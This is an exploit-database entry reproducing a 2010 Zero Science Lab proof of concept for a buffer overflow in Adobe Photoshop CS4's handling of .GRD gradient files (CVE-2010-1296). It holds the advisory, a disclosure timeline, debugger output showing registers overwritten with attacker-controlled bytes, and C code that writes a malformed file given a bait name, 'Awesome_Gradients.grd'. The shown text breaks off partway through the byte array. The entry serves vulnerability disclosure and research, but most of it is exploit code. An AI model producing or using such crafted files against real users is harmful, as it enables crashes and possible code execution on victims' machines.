发布 2010-05-26 漏洞条目

Adobe Photoshop CS4 Extended 11.0 – ‘.GRD’ File Handling Remote Buffer Overflow (PoC)

Exploit Source

Title:

Adobe Photoshop CS4 Extended 11.0 GRD File Handling Remote Buffer Overflow PoC

Summary: The Adobe® Photoshop® family of products is the ultimate playground for

bringing out the best in your digital images, transforming them into anything you

can imagine and showcasing them in extraordinary ways.

Description: Adobe Photoshop CS4 Extended suffers from a buffer overflow vulnerability

when dealing with .GRD (gradients) format file. The application failz to sanitize the

user input resulting in a memory corruption, overwriting several memory registers which

can aid the atacker to gain the power of executing arbitrary code or denial of service.

Vendor:

Adobe Systems Incorporated

Product Web Page:

http://www.adobe.com/

Current Version:

CS4 Extended 11.0.0.0

Tested On:

Microsoft Windwos XP Professional SP3 (English)

---------------------------------------------------------------------------

(718.cd4): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=7efefefe ebx=00414141 ecx=000dbb7f edx=41414141 esi=12fb5368 edi=0b050000

eip=781807f5 esp=0012de64 ebp=05620e10 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

MSVCR80!strncpy+0xa5:

781807f5 8917 mov dword ptr [edi],edx ds:0023:0b050000=????????

0:000> g

(718.af8): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=ffffffff ebx=00252178 ecx=41414141 edx=781c3bf8 esi=0afd2420 edi=7c80980a

eip=7c809813 esp=12b8fe04 ebp=12b8fe4c iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206

kernel32!InterlockedDecrement+0x9:

7c809813 f00fc101 lock xadd dword ptr [ecx],eax ds:0023:41414141=????????

---------------------------------------------------------------------------

Vendor Status:

[08.08.2009] Vendor notified.

[10.08.2009] Vendor replied.

[14.08.2009] Asked vendor for confirmation.

[14.08.2009] Vendor confirms vulnerability.

[18.05.2010] Vendor reveals patch release date.

[26.05.2010] Coordinated public disclosure.

Zero Science Lab Advisory ID: ZSL-2010-4939

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4939.php

Adobe Advisory ID: APSB10-13

Advisory: http://www.adobe.com/support/security/bulletins/apsb10-13.html

CVE ID: CVE-2010-1296

Vulnerability Discovered By:

Gjoko 'LiquidWorm' Krstic

liquidworm gmail com

Zero Science Lab - http://www.zeroscience.mk

08.08.2009

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <stdint.h>

#define NAMEFILE "Awesome_Gradients.grd"

FILE *pf;

char gradih[] = {

0x38, 0x42, 0x47, 0x52, 0x00, 0x05, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x6E, 0x75, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,

0x47, 0x72, 0x64, 0x4C, 0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x0B, 0x4F, 0x62, 0x6A, 0x63,

0x00, 0x00, 0x00, 0x09, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65,

0x00, 0x6E, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00,

0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x61, 0x64, 0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00,

0x00, 0x09, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E,

0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00, 0x00, 0x09,

0x00, 0x00, 0x00, 0x00, 0x4E, 0x6D, 0x20, 0x20, 0x54, 0x45, 0x58, 0x54, 0x00, 0x00, 0x00, 0x33,

0x00, 0x24, 0x00, 0x24, 0x00, 0x24, 0x00, 0x2F, 0x00, 0x50, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73,

0x00, 0x65, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2F, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64,

0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2F, 0x00, 0x4E, 0x00, 0x6F,

0x00, 0x69, 0x00, 0x73, 0x00, 0x65, 0x00, 0x53, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6C,

0x00, 0x65, 0x00, 0x73, 0x00, 0x5F, 0x00, 0x67, 0x00, 0x72, 0x00, 0x64, 0x00, 0x2F, 0x00, 0x42,

0x00, 0x6C, 0x00, 0x75, 0x00, 0x65, 0x00, 0x73, 0x00, 0x3D, 0x00, 0x42, 0x00, 0x6C, 0x00, 0x75,

0x00, 0x65, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x46, 0x65, 0x6E,

0x75, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x46, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C,

0x4E, 0x73, 0x00, 0x00, 0x00, 0x00, 0x53, 0x68, 0x54, 0x72, 0x62, 0x6F, 0x6F, 0x6C, 0x00, 0x00,

0x00, 0x00, 0x00, 0x56, 0x63, 0x74, 0x43, 0x62, 0x6F, 0x6F, 0x6C, 0x01, 0x00, 0x00, 0x00, 0x00,

0x43, 0x6C, 0x72, 0x53, 0x65, 0x6E, 0x75, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x72, 0x53,

0x00, 0x00, 0x00, 0x00, 0x52, 0x47, 0x42, 0x43, 0x00, 0x00, 0x00, 0x00, 0x52, 0x6E, 0x64, 0x53,

0x6C, 0x6F, 0x6E, 0x67, 0x79, 0x06, 0x56, 0xA6, 0x00, 0x00, 0x00, 0x00, 0x53, 0x6D, 0x74, 0x68,

0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x6E, 0x6D, 0x20,

0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00,

0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00,

0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x78, 0x6D, 0x20,

0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64,

0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64,

0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00, 0x00, 0x09,

0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,

0x00, 0x00, 0x47, 0x72, 0x61, 0x64, 0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00, 0x00, 0x09, 0x00, 0x47,

0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00,

0x4E, 0x6D, 0x20, 0x20, 0x54, 0x45, 0x58, 0x54, 0x00, 0x00, 0x00, 0x35, 0x00, 0x24, 0x00, 0x24,

0x00, 0x24, 0x00, 0x2F, 0x00, 0x50, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x65, 0x00, 0x74,

0x00, 0x73, 0x00, 0x2F, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65,

0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2F, 0x00, 0x4E, 0x00, 0x6F, 0x00, 0x69, 0x00, 0x73,

0x00, 0x65, 0x00, 0x53, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x73,

0x00, 0x5F, 0x00, 0x67, 0x00, 0x72, 0x00, 0x64, 0x00, 0x2F, 0x00, 0x47, 0x00, 0x72, 0x00, 0x65,

0x00, 0x65, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x3D, 0x00, 0x47, 0x00, 0x72, 0x00, 0x65, 0x00, 0x65,

0x00, 0x6E, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x46, 0x65, 0x6E,

0x75, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x46, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C,

0x4E, 0x73, 0x00, 0x00, 0x00, 0x00, 0x53, 0x68, 0x54, 0x72, 0x62, 0x6F, 0x6F, 0x6C, 0x00, 0x00,

0x00, 0x00, 0x00, 0x56, 0x63, 0x74, 0x43, 0x62, 0x6F, 0x6F, 0x6C, 0x01, 0x00, 0x00, 0x00, 0x00,

0x43, 0x6C, 0x72, 0x53, 0x65, 0x6E, 0x75, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x72, 0x53,

0x00, 0x00, 0x00, 0x00, 0x52, 0x47, 0x42, 0x43, 0x00, 0x00, 0x00, 0x00, 0x52, 0x6E, 0x64, 0x53,

0x6C, 0x6F, 0x6E, 0x67, 0x68, 0x5C, 0x5E, 0xD8, 0x00, 0x00, 0x00, 0x00, 0x53, 0x6D, 0x74, 0x68,